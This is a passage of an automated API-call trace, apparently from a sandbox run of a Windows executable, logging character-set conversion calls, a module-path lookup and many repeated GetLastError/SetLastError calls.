¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x82\xef\x5a\xf8\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0101.145] GetLastError () returned 0x7f [0101.145] SetLastError (dwErrCode=0x7f) [0101.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0101.145] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0101.145] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0101.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x82\xef\x5a\xf8\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0101.145] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487278, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe")) returned 0x5b [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.145] SetLastError (dwErrCode=0x0) [0101.145] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.146] SetLastError (dwErrCode=0x0) [0101.146] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.147] GetLastError () returned 0x0 [0101.147] SetLastError (dwErrCode=0x0) [0101.148] GetLastError () returned 0x0 [0101.148] SetLastError (dwErrCode=0x0) [0101.148] GetLastError () returned 0x0 [0101.148] SetLastError (dwErrCode=0x0) [0101.148] GetLastError () returned 0x0 [0101.148] SetLastError (dwErrCode=0x0) [0101.148] GetLastError () returned 0x0 [0101.148] SetLastError (dwErrCode=0x0) [0101.148] GetLastError () returned 0x0 [0101.148] SetLastError (dwErrCode=0x0) [0101.148] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.149] GetLastError () returned 0x0 [0101.149] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.150] SetLastError (dwErrCode=0x0) [0101.150] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.151] GetLastError () returned 0x0 [0101.151] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x74) returned 0x5d09b8 [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.152] SetLastError (dwErrCode=0x0) [0101.152] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.153] GetLastError () returned 0x0 [0101.153] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.154] GetLastError () returned 0x0 [0101.154] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.155] SetLastError (dwErrCode=0x0) [0101.155] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 